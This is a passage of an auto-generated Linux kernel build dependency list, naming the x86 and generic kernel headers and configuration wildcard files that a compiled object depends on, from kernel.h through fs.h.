include/linux/kernel.h \
|
||||
$(wildcard include/config/preempt/voluntary.h) \
|
||||
$(wildcard include/config/debug/atomic/sleep.h) \
|
||||
$(wildcard include/config/mmu.h) \
|
||||
$(wildcard include/config/prove/locking.h) \
|
||||
$(wildcard include/config/arch/has/refcount.h) \
|
||||
$(wildcard include/config/panic/timeout.h) \
|
||||
/usr/lib/gcc/x86_64-linux-gnu/9/include/stdarg.h \
|
||||
include/linux/limits.h \
|
||||
include/uapi/linux/limits.h \
|
||||
include/linux/linkage.h \
|
||||
include/linux/export.h \
|
||||
$(wildcard include/config/modversions.h) \
|
||||
$(wildcard include/config/module/rel/crcs.h) \
|
||||
$(wildcard include/config/have/arch/prel32/relocations.h) \
|
||||
$(wildcard include/config/trim/unused/ksyms.h) \
|
||||
arch/x86/include/asm/linkage.h \
|
||||
$(wildcard include/config/x86/alignment/16.h) \
|
||||
include/linux/bitops.h \
|
||||
include/linux/bits.h \
|
||||
arch/x86/include/asm/bitops.h \
|
||||
$(wildcard include/config/x86/cmov.h) \
|
||||
arch/x86/include/asm/rmwcc.h \
|
||||
$(wildcard include/config/cc/has/asm/goto.h) \
|
||||
include/asm-generic/bitops/find.h \
|
||||
$(wildcard include/config/generic/find/first/bit.h) \
|
||||
include/asm-generic/bitops/sched.h \
|
||||
arch/x86/include/asm/arch_hweight.h \
|
||||
arch/x86/include/asm/cpufeatures.h \
|
||||
arch/x86/include/asm/required-features.h \
|
||||
$(wildcard include/config/x86/minimum/cpu/family.h) \
|
||||
$(wildcard include/config/math/emulation.h) \
|
||||
$(wildcard include/config/x86/pae.h) \
|
||||
$(wildcard include/config/x86/cmpxchg64.h) \
|
||||
$(wildcard include/config/x86/use/3dnow.h) \
|
||||
$(wildcard include/config/matom.h) \
|
||||
$(wildcard include/config/paravirt.h) \
|
||||
arch/x86/include/asm/disabled-features.h \
|
||||
$(wildcard include/config/x86/intel/mpx.h) \
|
||||
$(wildcard include/config/x86/smap.h) \
|
||||
$(wildcard include/config/x86/umip.h) \
|
||||
$(wildcard include/config/x86/intel/memory/protection/keys.h) \
|
||||
$(wildcard include/config/x86/5level.h) \
|
||||
$(wildcard include/config/page/table/isolation.h) \
|
||||
include/asm-generic/bitops/const_hweight.h \
|
||||
include/asm-generic/bitops-instrumented.h \
|
||||
include/asm-generic/bitops/le.h \
|
||||
arch/x86/include/uapi/asm/byteorder.h \
|
||||
include/linux/byteorder/little_endian.h \
|
||||
include/uapi/linux/byteorder/little_endian.h \
|
||||
include/linux/swab.h \
|
||||
include/uapi/linux/swab.h \
|
||||
arch/x86/include/uapi/asm/swab.h \
|
||||
include/linux/byteorder/generic.h \
|
||||
include/asm-generic/bitops/ext2-atomic-setbit.h \
|
||||
include/linux/log2.h \
|
||||
$(wildcard include/config/arch/has/ilog2/u32.h) \
|
||||
$(wildcard include/config/arch/has/ilog2/u64.h) \
|
||||
include/linux/typecheck.h \
|
||||
include/linux/printk.h \
|
||||
$(wildcard include/config/message/loglevel/default.h) \
|
||||
$(wildcard include/config/console/loglevel/default.h) \
|
||||
$(wildcard include/config/console/loglevel/quiet.h) \
|
||||
$(wildcard include/config/early/printk.h) \
|
||||
$(wildcard include/config/printk/nmi.h) \
|
||||
$(wildcard include/config/printk.h) \
|
||||
$(wildcard include/config/kmsg/ids.h) \
|
||||
$(wildcard include/config/dynamic/debug.h) \
|
||||
include/linux/init.h \
|
||||
$(wildcard include/config/strict/kernel/rwx.h) \
|
||||
include/linux/kern_levels.h \
|
||||
include/linux/cache.h \
|
||||
$(wildcard include/config/arch/has/cache/line/size.h) \
|
||||
include/uapi/linux/kernel.h \
|
||||
include/uapi/linux/sysinfo.h \
|
||||
arch/x86/include/asm/cache.h \
|
||||
$(wildcard include/config/x86/l1/cache/shift.h) \
|
||||
$(wildcard include/config/x86/internode/cache/shift.h) \
|
||||
$(wildcard include/config/x86/vsmp.h) \
|
||||
include/linux/dynamic_debug.h \
|
||||
include/linux/jump_label.h \
|
||||
$(wildcard include/config/have/arch/jump/label/relative.h) \
|
||||
arch/x86/include/asm/jump_label.h \
|
||||
include/linux/build_bug.h \
|
||||
arch/x86/include/asm/div64.h \
|
||||
include/asm-generic/div64.h \
|
||||
include/linux/stat.h \
|
||||
arch/x86/include/uapi/asm/stat.h \
|
||||
include/uapi/linux/stat.h \
|
||||
include/linux/time.h \
|
||||
$(wildcard include/config/arch/uses/gettimeoffset.h) \
|
||||
include/linux/seqlock.h \
|
||||
$(wildcard include/config/debug/lock/alloc.h) \
|
||||
include/linux/spinlock.h \
|
||||
$(wildcard include/config/debug/spinlock.h) \
|
||||
$(wildcard include/config/preemption.h) \
|
||||
include/linux/preempt.h \
|
||||
$(wildcard include/config/preempt/count.h) \
|
||||
$(wildcard include/config/debug/preempt.h) \
|
||||
$(wildcard include/config/trace/preempt/toggle.h) \
|
||||
$(wildcard include/config/preempt/notifiers.h) \
|
||||
arch/x86/include/asm/preempt.h \
|
||||
arch/x86/include/asm/percpu.h \
|
||||
$(wildcard include/config/x86/64/smp.h) \
|
||||
include/asm-generic/percpu.h \
|
||||
$(wildcard include/config/have/setup/per/cpu/area.h) \
|
||||
include/linux/threads.h \
|
||||
$(wildcard include/config/nr/cpus.h) \
|
||||
$(wildcard include/config/base/small.h) \
|
||||
include/linux/percpu-defs.h \
|
||||
$(wildcard include/config/debug/force/weak/per/cpu.h) \
|
||||
$(wildcard include/config/virtualization.h) \
|
||||
$(wildcard include/config/amd/mem/encrypt.h) \
|
||||
include/linux/thread_info.h \
|
||||
$(wildcard include/config/thread/info/in/task.h) \
|
||||
$(wildcard include/config/mips.h) \
|
||||
$(wildcard include/config/loongarch.h) \
|
||||
$(wildcard include/config/have/arch/within/stack/frames.h) \
|
||||
$(wildcard include/config/hardened/usercopy.h) \
|
||||
include/linux/bug.h \
|
||||
$(wildcard include/config/bug/on/data/corruption.h) \
|
||||
arch/x86/include/asm/bug.h \
|
||||
$(wildcard include/config/debug/bugverbose.h) \
|
||||
include/asm-generic/bug.h \
|
||||
$(wildcard include/config/bug.h) \
|
||||
$(wildcard include/config/generic/bug/relative/pointers.h) \
|
||||
include/linux/restart_block.h \
|
||||
include/linux/time64.h \
|
||||
include/linux/math64.h \
|
||||
$(wildcard include/config/arch/supports/int128.h) \
|
||||
include/uapi/linux/time.h \
|
||||
include/uapi/linux/time_types.h \
|
||||
arch/x86/include/asm/current.h \
|
||||
arch/x86/include/asm/thread_info.h \
|
||||
$(wildcard include/config/vm86.h) \
|
||||
$(wildcard include/config/frame/pointer.h) \
|
||||
$(wildcard include/config/compat.h) \
|
||||
$(wildcard include/config/ia32/emulation.h) \
|
||||
arch/x86/include/asm/page.h \
|
||||
arch/x86/include/asm/page_types.h \
|
||||
$(wildcard include/config/physical/start.h) \
|
||||
$(wildcard include/config/physical/align.h) \
|
||||
$(wildcard include/config/dynamic/physical/mask.h) \
|
||||
include/linux/mem_encrypt.h \
|
||||
$(wildcard include/config/arch/has/mem/encrypt.h) \
|
||||
arch/x86/include/asm/mem_encrypt.h \
|
||||
arch/x86/include/uapi/asm/bootparam.h \
|
||||
include/linux/screen_info.h \
|
||||
include/uapi/linux/screen_info.h \
|
||||
include/linux/apm_bios.h \
|
||||
include/uapi/linux/apm_bios.h \
|
||||
include/uapi/linux/ioctl.h \
|
||||
arch/x86/include/generated/uapi/asm/ioctl.h \
|
||||
include/asm-generic/ioctl.h \
|
||||
include/uapi/asm-generic/ioctl.h \
|
||||
include/linux/edd.h \
|
||||
include/uapi/linux/edd.h \
|
||||
arch/x86/include/asm/ist.h \
|
||||
arch/x86/include/uapi/asm/ist.h \
|
||||
include/video/edid.h \
|
||||
$(wildcard include/config/x86.h) \
|
||||
include/uapi/video/edid.h \
|
||||
arch/x86/include/asm/page_64_types.h \
|
||||
$(wildcard include/config/dynamic/memory/layout.h) \
|
||||
$(wildcard include/config/randomize/base.h) \
|
||||
arch/x86/include/asm/kaslr.h \
|
||||
$(wildcard include/config/randomize/memory.h) \
|
||||
arch/x86/include/asm/page_64.h \
|
||||
$(wildcard include/config/debug/virtual.h) \
|
||||
$(wildcard include/config/flatmem.h) \
|
||||
$(wildcard include/config/x86/vsyscall/emulation.h) \
|
||||
include/linux/range.h \
|
||||
include/asm-generic/memory_model.h \
|
||||
$(wildcard include/config/discontigmem.h) \
|
||||
$(wildcard include/config/sparsemem/vmemmap.h) \
|
||||
$(wildcard include/config/sparsemem.h) \
|
||||
include/linux/pfn.h \
|
||||
include/asm-generic/getorder.h \
|
||||
arch/x86/include/asm/cpufeature.h \
|
||||
$(wildcard include/config/x86/feature/names.h) \
|
||||
arch/x86/include/asm/processor.h \
|
||||
$(wildcard include/config/kvm.h) \
|
||||
$(wildcard include/config/stackprotector.h) \
|
||||
$(wildcard include/config/paravirt/xxl.h) \
|
||||
$(wildcard include/config/x86/debugctlmsr.h) \
|
||||
$(wildcard include/config/cpu/sup/amd.h) \
|
||||
$(wildcard include/config/xen.h) \
|
||||
arch/x86/include/asm/processor-flags.h \
|
||||
arch/x86/include/uapi/asm/processor-flags.h \
|
||||
arch/x86/include/asm/math_emu.h \
|
||||
arch/x86/include/asm/ptrace.h \
|
||||
arch/x86/include/asm/segment.h \
|
||||
$(wildcard include/config/xen/pv.h) \
|
||||
$(wildcard include/config/x86/32/lazy/gs.h) \
|
||||
arch/x86/include/uapi/asm/ptrace.h \
|
||||
arch/x86/include/uapi/asm/ptrace-abi.h \
|
||||
arch/x86/include/asm/paravirt_types.h \
|
||||
$(wildcard include/config/pgtable/levels.h) \
|
||||
$(wildcard include/config/paravirt/debug.h) \
|
||||
arch/x86/include/asm/desc_defs.h \
|
||||
arch/x86/include/asm/kmap_types.h \
|
||||
$(wildcard include/config/debug/highmem.h) \
|
||||
include/asm-generic/kmap_types.h \
|
||||
arch/x86/include/asm/pgtable_types.h \
|
||||
$(wildcard include/config/mem/soft/dirty.h) \
|
||||
$(wildcard include/config/proc/fs.h) \
|
||||
arch/x86/include/asm/pgtable_64_types.h \
|
||||
arch/x86/include/asm/sparsemem.h \
|
||||
include/asm-generic/pgtable-nop4d.h \
|
||||
arch/x86/include/asm/nospec-branch.h \
|
||||
include/linux/static_key.h \
|
||||
arch/x86/include/asm/alternative-asm.h \
|
||||
arch/x86/include/asm/msr-index.h \
|
||||
arch/x86/include/asm/spinlock_types.h \
|
||||
$(wildcard include/config/paravirt/spinlocks.h) \
|
||||
include/asm-generic/qspinlock_types.h \
|
||||
include/asm-generic/qrwlock_types.h \
|
||||
arch/x86/include/uapi/asm/sigcontext.h \
|
||||
arch/x86/include/asm/msr.h \
|
||||
arch/x86/include/asm/msr-index.h \
|
||||
arch/x86/include/generated/uapi/asm/errno.h \
|
||||
include/uapi/asm-generic/errno.h \
|
||||
include/uapi/asm-generic/errno-base.h \
|
||||
arch/x86/include/asm/cpumask.h \
|
||||
include/linux/cpumask.h \
|
||||
$(wildcard include/config/cpumask/offstack.h) \
|
||||
$(wildcard include/config/hotplug/cpu.h) \
|
||||
$(wildcard include/config/debug/per/cpu/maps.h) \
|
||||
include/linux/bitmap.h \
|
||||
include/linux/string.h \
|
||||
$(wildcard include/config/binary/printf.h) \
|
||||
$(wildcard include/config/fortify/source.h) \
|
||||
include/uapi/linux/string.h \
|
||||
arch/x86/include/asm/string.h \
|
||||
arch/x86/include/asm/string_64.h \
|
||||
$(wildcard include/config/x86/mce.h) \
|
||||
$(wildcard include/config/arch/has/uaccess/flushcache.h) \
|
||||
include/linux/atomic.h \
|
||||
arch/x86/include/asm/atomic.h \
|
||||
arch/x86/include/asm/cmpxchg.h \
|
||||
arch/x86/include/asm/cmpxchg_64.h \
|
||||
arch/x86/include/asm/atomic64_64.h \
|
||||
include/asm-generic/atomic-instrumented.h \
|
||||
include/linux/atomic-fallback.h \
|
||||
$(wildcard include/config/generic/atomic64.h) \
|
||||
include/asm-generic/atomic-long.h \
|
||||
arch/x86/include/uapi/asm/msr.h \
|
||||
include/linux/tracepoint-defs.h \
|
||||
arch/x86/include/asm/paravirt.h \
|
||||
$(wildcard include/config/debug/entry.h) \
|
||||
arch/x86/include/asm/frame.h \
|
||||
arch/x86/include/asm/special_insns.h \
|
||||
arch/x86/include/asm/fpu/types.h \
|
||||
arch/x86/include/asm/unwind_hints.h \
|
||||
arch/x86/include/asm/orc_types.h \
|
||||
include/linux/personality.h \
|
||||
include/uapi/linux/personality.h \
|
||||
include/linux/err.h \
|
||||
include/linux/irqflags.h \
|
||||
$(wildcard include/config/trace/irqflags.h) \
|
||||
$(wildcard include/config/irqsoff/tracer.h) \
|
||||
$(wildcard include/config/preempt/tracer.h) \
|
||||
$(wildcard include/config/trace/irqflags/support.h) \
|
||||
arch/x86/include/asm/irqflags.h \
|
||||
include/linux/bottom_half.h \
|
||||
arch/x86/include/generated/asm/mmiowb.h \
|
||||
include/asm-generic/mmiowb.h \
|
||||
$(wildcard include/config/mmiowb.h) \
|
||||
include/linux/spinlock_types.h \
|
||||
include/linux/lockdep.h \
|
||||
$(wildcard include/config/lockdep.h) \
|
||||
$(wildcard include/config/lock/stat.h) \
|
||||
include/linux/rwlock_types.h \
|
||||
arch/x86/include/asm/spinlock.h \
|
||||
arch/x86/include/asm/qspinlock.h \
|
||||
include/asm-generic/qspinlock.h \
|
||||
$(wildcard include/config/cpu/loongson3.h) \
|
||||
arch/x86/include/asm/qrwlock.h \
|
||||
include/asm-generic/qrwlock.h \
|
||||
include/linux/rwlock.h \
|
||||
$(wildcard include/config/preempt.h) \
|
||||
include/linux/spinlock_api_smp.h \
|
||||
$(wildcard include/config/inline/spin/lock.h) \
|
||||
$(wildcard include/config/inline/spin/lock/bh.h) \
|
||||
$(wildcard include/config/inline/spin/lock/irq.h) \
|
||||
$(wildcard include/config/inline/spin/lock/irqsave.h) \
|
||||
$(wildcard include/config/inline/spin/trylock.h) \
|
||||
$(wildcard include/config/inline/spin/trylock/bh.h) \
|
||||
$(wildcard include/config/uninline/spin/unlock.h) \
|
||||
$(wildcard include/config/inline/spin/unlock/bh.h) \
|
||||
$(wildcard include/config/inline/spin/unlock/irq.h) \
|
||||
$(wildcard include/config/inline/spin/unlock/irqrestore.h) \
|
||||
$(wildcard include/config/generic/lockbreak.h) \
|
||||
include/linux/rwlock_api_smp.h \
|
||||
$(wildcard include/config/inline/read/lock.h) \
|
||||
$(wildcard include/config/inline/write/lock.h) \
|
||||
$(wildcard include/config/inline/read/lock/bh.h) \
|
||||
$(wildcard include/config/inline/write/lock/bh.h) \
|
||||
$(wildcard include/config/inline/read/lock/irq.h) \
|
||||
$(wildcard include/config/inline/write/lock/irq.h) \
|
||||
$(wildcard include/config/inline/read/lock/irqsave.h) \
|
||||
$(wildcard include/config/inline/write/lock/irqsave.h) \
|
||||
$(wildcard include/config/inline/read/trylock.h) \
|
||||
$(wildcard include/config/inline/write/trylock.h) \
|
||||
$(wildcard include/config/inline/read/unlock.h) \
|
||||
$(wildcard include/config/inline/write/unlock.h) \
|
||||
$(wildcard include/config/inline/read/unlock/bh.h) \
|
||||
$(wildcard include/config/inline/write/unlock/bh.h) \
|
||||
$(wildcard include/config/inline/read/unlock/irq.h) \
|
||||
$(wildcard include/config/inline/write/unlock/irq.h) \
|
||||
$(wildcard include/config/inline/read/unlock/irqrestore.h) \
|
||||
$(wildcard include/config/inline/write/unlock/irqrestore.h) \
|
||||
include/linux/time32.h \
|
||||
include/linux/timex.h \
|
||||
include/uapi/linux/timex.h \
|
||||
include/uapi/linux/param.h \
|
||||
arch/x86/include/generated/uapi/asm/param.h \
|
||||
include/asm-generic/param.h \
|
||||
$(wildcard include/config/hz.h) \
|
||||
include/uapi/asm-generic/param.h \
|
||||
arch/x86/include/asm/timex.h \
|
||||
arch/x86/include/asm/tsc.h \
|
||||
$(wildcard include/config/x86/tsc.h) \
|
||||
include/linux/uidgid.h \
|
||||
$(wildcard include/config/multiuser.h) \
|
||||
$(wildcard include/config/user/ns.h) \
|
||||
include/linux/highuid.h \
|
||||
include/linux/kmod.h \
|
||||
include/linux/umh.h \
|
||||
include/linux/gfp.h \
|
||||
$(wildcard include/config/highmem.h) \
|
||||
$(wildcard include/config/zone/dma.h) \
|
||||
$(wildcard include/config/zone/dma32.h) \
|
||||
$(wildcard include/config/zone/device.h) \
|
||||
$(wildcard include/config/numa.h) \
|
||||
$(wildcard include/config/pm/sleep.h) \
|
||||
$(wildcard include/config/contig/alloc.h) \
|
||||
$(wildcard include/config/cma.h) \
|
||||
include/linux/mmdebug.h \
|
||||
$(wildcard include/config/debug/vm.h) \
|
||||
$(wildcard include/config/debug/vm/pgflags.h) \
|
||||
include/linux/mmzone.h \
|
||||
$(wildcard include/config/force/max/zoneorder.h) \
|
||||
$(wildcard include/config/memory/isolation.h) \
|
||||
$(wildcard include/config/zsmalloc.h) \
|
||||
$(wildcard include/config/lru/gen.h) \
|
||||
$(wildcard include/config/lru/gen/stats.h) \
|
||||
$(wildcard include/config/memcg.h) \
|
||||
$(wildcard include/config/memory/hotplug.h) \
|
||||
$(wildcard include/config/compaction.h) \
|
||||
$(wildcard include/config/transparent/hugepage.h) \
|
||||
$(wildcard include/config/flat/node/mem/map.h) \
|
||||
$(wildcard include/config/page/extension.h) \
|
||||
$(wildcard include/config/deferred/struct/page/init.h) \
|
||||
$(wildcard include/config/have/memory/present.h) \
|
||||
$(wildcard include/config/have/memoryless/nodes.h) \
|
||||
$(wildcard include/config/have/memblock/node/map.h) \
|
||||
$(wildcard include/config/need/multiple/nodes.h) \
|
||||
$(wildcard include/config/have/arch/early/pfn/to/nid.h) \
|
||||
$(wildcard include/config/sparsemem/extreme.h) \
|
||||
$(wildcard include/config/memory/hotremove.h) \
|
||||
$(wildcard include/config/have/arch/pfn/valid.h) \
|
||||
$(wildcard include/config/holes/in/zone.h) \
|
||||
$(wildcard include/config/arch/has/holes/memorymodel.h) \
|
||||
include/linux/wait.h \
|
||||
include/uapi/linux/wait.h \
|
||||
include/linux/numa.h \
|
||||
$(wildcard include/config/nodes/shift.h) \
|
||||
include/linux/nodemask.h \
|
||||
include/linux/pageblock-flags.h \
|
||||
$(wildcard include/config/hugetlb/page.h) \
|
||||
$(wildcard include/config/hugetlb/page/size/variable.h) \
|
||||
include/linux/page-flags-layout.h \
|
||||
$(wildcard include/config/numa/balancing.h) \
|
||||
$(wildcard include/config/kasan/sw/tags.h) \
|
||||
include/generated/bounds.h \
|
||||
include/linux/mm_types.h \
|
||||
$(wildcard include/config/have/aligned/struct/page.h) \
|
||||
$(wildcard include/config/userfaultfd.h) \
|
||||
$(wildcard include/config/swap.h) \
|
||||
$(wildcard include/config/have/arch/compat/mmap/bases.h) \
|
||||
$(wildcard include/config/membarrier.h) \
|
||||
$(wildcard include/config/aio.h) \
|
||||
$(wildcard include/config/mmu/notifier.h) \
|
||||
$(wildcard include/config/arch/want/batched/unmap/tlb/flush.h) \
|
||||
include/linux/mm_types_task.h \
|
||||
$(wildcard include/config/split/ptlock/cpus.h) \
|
||||
$(wildcard include/config/arch/enable/split/pmd/ptlock.h) \
|
||||
arch/x86/include/asm/tlbbatch.h \
|
||||
include/linux/auxvec.h \
|
||||
include/uapi/linux/auxvec.h \
|
||||
arch/x86/include/uapi/asm/auxvec.h \
|
||||
include/linux/rbtree.h \
|
||||
include/linux/rcupdate.h \
|
||||
$(wildcard include/config/preempt/rcu.h) \
|
||||
$(wildcard include/config/rcu/stall/common.h) \
|
||||
$(wildcard include/config/no/hz/full.h) \
|
||||
$(wildcard include/config/rcu/nocb/cpu.h) \
|
||||
$(wildcard include/config/tasks/rcu.h) \
|
||||
$(wildcard include/config/tree/rcu.h) \
|
||||
$(wildcard include/config/tiny/rcu.h) \
|
||||
$(wildcard include/config/debug/objects/rcu/head.h) \
|
||||
$(wildcard include/config/prove/rcu.h) \
|
||||
$(wildcard include/config/rcu/boost.h) \
|
||||
$(wildcard include/config/arch/weak/release/acquire.h) \
|
||||
include/linux/rcutree.h \
|
||||
include/linux/rwsem.h \
|
||||
$(wildcard include/config/rwsem/spin/on/owner.h) \
|
||||
$(wildcard include/config/debug/rwsems.h) \
|
||||
include/linux/osq_lock.h \
|
||||
include/linux/completion.h \
|
||||
include/linux/uprobes.h \
|
||||
$(wildcard include/config/uprobes.h) \
|
||||
include/linux/errno.h \
|
||||
include/uapi/linux/errno.h \
|
||||
arch/x86/include/asm/uprobes.h \
|
||||
include/linux/notifier.h \
|
||||
include/linux/mutex.h \
|
||||
$(wildcard include/config/mutex/spin/on/owner.h) \
|
||||
$(wildcard include/config/debug/mutexes.h) \
|
||||
include/linux/debug_locks.h \
|
||||
$(wildcard include/config/debug/locking/api/selftests.h) \
|
||||
include/linux/srcu.h \
|
||||
$(wildcard include/config/tiny/srcu.h) \
|
||||
$(wildcard include/config/srcu.h) \
|
||||
include/linux/workqueue.h \
|
||||
$(wildcard include/config/debug/objects/work.h) \
|
||||
$(wildcard include/config/freezer.h) \
|
||||
$(wildcard include/config/wq/watchdog.h) \
|
||||
include/linux/timer.h \
|
||||
$(wildcard include/config/debug/objects/timers.h) \
|
||||
$(wildcard include/config/preempt/rt.h) \
|
||||
$(wildcard include/config/no/hz/common.h) \
|
||||
include/linux/ktime.h \
|
||||
include/linux/jiffies.h \
|
||||
include/generated/timeconst.h \
|
||||
include/linux/timekeeping.h \
|
||||
include/linux/timekeeping32.h \
|
||||
include/linux/debugobjects.h \
|
||||
$(wildcard include/config/debug/objects.h) \
|
||||
$(wildcard include/config/debug/objects/free.h) \
|
||||
include/linux/rcu_segcblist.h \
|
||||
include/linux/srcutree.h \
|
||||
include/linux/rcu_node_tree.h \
|
||||
$(wildcard include/config/rcu/fanout.h) \
|
||||
$(wildcard include/config/rcu/fanout/leaf.h) \
|
||||
arch/x86/include/asm/mmu.h \
|
||||
$(wildcard include/config/modify/ldt/syscall.h) \
|
||||
include/linux/page-flags.h \
|
||||
$(wildcard include/config/arch/uses/pg/uncached.h) \
|
||||
$(wildcard include/config/memory/failure.h) \
|
||||
$(wildcard include/config/idle/page/tracking.h) \
|
||||
$(wildcard include/config/thp/swap.h) \
|
||||
$(wildcard include/config/ksm.h) \
|
||||
include/linux/memory_hotplug.h \
|
||||
$(wildcard include/config/arch/has/add/pages.h) \
|
||||
$(wildcard include/config/have/arch/nodedata/extension.h) \
|
||||
$(wildcard include/config/have/bootmem/info/node.h) \
|
||||
arch/x86/include/asm/mmzone.h \
|
||||
arch/x86/include/asm/mmzone_64.h \
|
||||
arch/x86/include/asm/smp.h \
|
||||
$(wildcard include/config/x86/local/apic.h) \
|
||||
$(wildcard include/config/x86/io/apic.h) \
|
||||
$(wildcard include/config/debug/nmi/selftest.h) \
|
||||
arch/x86/include/asm/mpspec.h \
|
||||
$(wildcard include/config/eisa.h) \
|
||||
$(wildcard include/config/x86/mpparse.h) \
|
||||
arch/x86/include/asm/mpspec_def.h \
|
||||
arch/x86/include/asm/x86_init.h \
|
||||
arch/x86/include/asm/apicdef.h \
|
||||
arch/x86/include/asm/apic.h \
|
||||
$(wildcard include/config/x86/x2apic.h) \
|
||||
arch/x86/include/asm/fixmap.h \
|
||||
$(wildcard include/config/provide/ohci1394/dma/init.h) \
|
||||
$(wildcard include/config/pci/mmconfig.h) \
|
||||
$(wildcard include/config/x86/intel/mid.h) \
|
||||
$(wildcard include/config/acpi/apei/ghes.h) \
|
||||
$(wildcard include/config/intel/txt.h) \
|
||||
arch/x86/include/asm/acpi.h \
|
||||
$(wildcard include/config/acpi/apei.h) \
|
||||
$(wildcard include/config/acpi.h) \
|
||||
$(wildcard include/config/acpi/numa.h) \
|
||||
include/acpi/pdc_intel.h \
|
||||
arch/x86/include/asm/numa.h \
|
||||
$(wildcard include/config/numa/emu.h) \
|
||||
arch/x86/include/asm/topology.h \
|
||||
$(wildcard include/config/sched/mc/prio.h) \
|
||||
include/asm-generic/topology.h \
|
||||
arch/x86/include/asm/realmode.h \
|
||||
$(wildcard include/config/acpi/sleep.h) \
|
||||
arch/x86/include/asm/io.h \
|
||||
$(wildcard include/config/mtrr.h) \
|
||||
$(wildcard include/config/x86/pat.h) \
|
||||
arch/x86/include/generated/asm/early_ioremap.h \
|
||||
include/asm-generic/early_ioremap.h \
|
||||
$(wildcard include/config/generic/early/ioremap.h) \
|
||||
include/asm-generic/iomap.h \
|
||||
$(wildcard include/config/has/ioport/map.h) \
|
||||
$(wildcard include/config/pci.h) \
|
||||
$(wildcard include/config/generic/iomap.h) \
|
||||
include/asm-generic/pci_iomap.h \
|
||||
$(wildcard include/config/no/generic/pci/ioport/map.h) \
|
||||
$(wildcard include/config/generic/pci/iomap.h) \
|
||||
include/asm-generic/io.h \
|
||||
$(wildcard include/config/virt/to/bus.h) \
|
||||
include/linux/logic_pio.h \
|
||||
$(wildcard include/config/indirect/pio.h) \
|
||||
include/linux/fwnode.h \
|
||||
include/linux/vmalloc.h \
|
||||
include/linux/llist.h \
|
||||
$(wildcard include/config/arch/have/nmi/safe/cmpxchg.h) \
|
||||
include/linux/overflow.h \
|
||||
arch/x86/include/uapi/asm/vsyscall.h \
|
||||
include/asm-generic/fixmap.h \
|
||||
arch/x86/include/asm/hardirq.h \
|
||||
$(wildcard include/config/kvm/intel.h) \
|
||||
$(wildcard include/config/have/kvm.h) \
|
||||
$(wildcard include/config/x86/thermal/vector.h) \
|
||||
$(wildcard include/config/x86/mce/threshold.h) \
|
||||
$(wildcard include/config/x86/mce/amd.h) \
|
||||
$(wildcard include/config/x86/hv/callback/vector.h) \
|
||||
$(wildcard include/config/hyperv.h) \
|
||||
arch/x86/include/asm/io_apic.h \
|
||||
arch/x86/include/asm/irq_vectors.h \
|
||||
$(wildcard include/config/pci/msi.h) \
|
||||
include/linux/topology.h \
|
||||
$(wildcard include/config/use/percpu/numa/node/id.h) \
|
||||
$(wildcard include/config/sched/smt.h) \
|
||||
include/linux/arch_topology.h \
|
||||
$(wildcard include/config/generic/arch/topology.h) \
|
||||
include/linux/percpu.h \
|
||||
$(wildcard include/config/need/per/cpu/embed/first/chunk.h) \
|
||||
$(wildcard include/config/need/per/cpu/page/first/chunk.h) \
|
||||
include/linux/smp.h \
|
||||
$(wildcard include/config/up/late/init.h) \
|
||||
include/linux/sysctl.h \
|
||||
$(wildcard include/config/sysctl.h) \
|
||||
include/uapi/linux/sysctl.h \
|
||||
include/linux/elf.h \
|
||||
arch/x86/include/asm/elf.h \
|
||||
$(wildcard include/config/x86/x32/abi.h) \
|
||||
arch/x86/include/asm/user.h \
|
||||
arch/x86/include/asm/user_64.h \
|
||||
arch/x86/include/asm/fsgsbase.h \
|
||||
arch/x86/include/asm/vdso.h \
|
||||
$(wildcard include/config/x86/x32.h) \
|
||||
include/uapi/linux/elf.h \
|
||||
include/uapi/linux/elf-em.h \
|
||||
include/linux/kobject.h \
|
||||
$(wildcard include/config/uevent/helper.h) \
|
||||
$(wildcard include/config/debug/kobject/release.h) \
|
||||
include/linux/sysfs.h \
|
||||
include/linux/kernfs.h \
|
||||
$(wildcard include/config/kernfs.h) \
|
||||
include/linux/idr.h \
|
||||
include/linux/radix-tree.h \
|
||||
include/linux/xarray.h \
|
||||
$(wildcard include/config/xarray/multi.h) \
|
||||
include/linux/kobject_ns.h \
|
||||
include/linux/kref.h \
|
||||
include/linux/refcount.h \
|
||||
$(wildcard include/config/refcount/full.h) \
|
||||
arch/x86/include/asm/refcount.h \
|
||||
include/linux/moduleparam.h \
|
||||
$(wildcard include/config/alpha.h) \
|
||||
$(wildcard include/config/ia64.h) \
|
||||
$(wildcard include/config/ppc64.h) \
|
||||
$(wildcard include/config/sw64.h) \
|
||||
include/linux/rbtree_latch.h \
|
||||
include/linux/error-injection.h \
|
||||
include/asm-generic/error-injection.h \
|
||||
arch/x86/include/asm/module.h \
|
||||
$(wildcard include/config/unwinder/orc.h) \
|
||||
$(wildcard include/config/m486.h) \
|
||||
$(wildcard include/config/m586.h) \
|
||||
$(wildcard include/config/m586tsc.h) \
|
||||
$(wildcard include/config/m586mmx.h) \
|
||||
$(wildcard include/config/mcore2.h) \
|
||||
$(wildcard include/config/m686.h) \
|
||||
$(wildcard include/config/mpentiumii.h) \
|
||||
$(wildcard include/config/mpentiumiii.h) \
|
||||
$(wildcard include/config/mpentiumm.h) \
|
||||
$(wildcard include/config/mpentium4.h) \
|
||||
$(wildcard include/config/mk6.h) \
|
||||
$(wildcard include/config/mk8.h) \
|
||||
$(wildcard include/config/melan.h) \
|
||||
$(wildcard include/config/mcrusoe.h) \
|
||||
$(wildcard include/config/mefficeon.h) \
|
||||
$(wildcard include/config/mwinchipc6.h) \
|
||||
$(wildcard include/config/mwinchip3d.h) \
|
||||
$(wildcard include/config/mcyrixiii.h) \
|
||||
$(wildcard include/config/mviac3/2.h) \
|
||||
$(wildcard include/config/mviac7.h) \
|
||||
$(wildcard include/config/mgeodegx1.h) \
|
||||
$(wildcard include/config/mgeode/lx.h) \
|
||||
include/asm-generic/module.h \
|
||||
$(wildcard include/config/have/mod/arch/specific.h) \
|
||||
$(wildcard include/config/modules/use/elf/rel.h) \
|
||||
$(wildcard include/config/modules/use/elf/rela.h) \
|
||||
arch/x86/include/asm/orc_types.h \
|
||||
include/generated/uapi/linux/version.h \
|
||||
include/linux/proc_fs.h \
|
||||
$(wildcard include/config/proc/pid/arch/status.h) \
|
||||
$(wildcard include/config/proc/uid.h) \
|
||||
include/linux/fs.h \
|
||||
$(wildcard include/config/read/only/thp/for/fs.h) \
|
||||
$(wildcard include/config/fs/posix/acl.h) \
|
||||
$(wildcard include/config/security.h) \
|
||||
$(wildcard include/config/cgroup/writeback.h) \
|
||||
$(wildcard include/config/ima.h) \
|
||||
$(wildcard include/config/file/locking.h) \
|
||||
$(wildcard include/config/fsnotify.h) \
|
||||
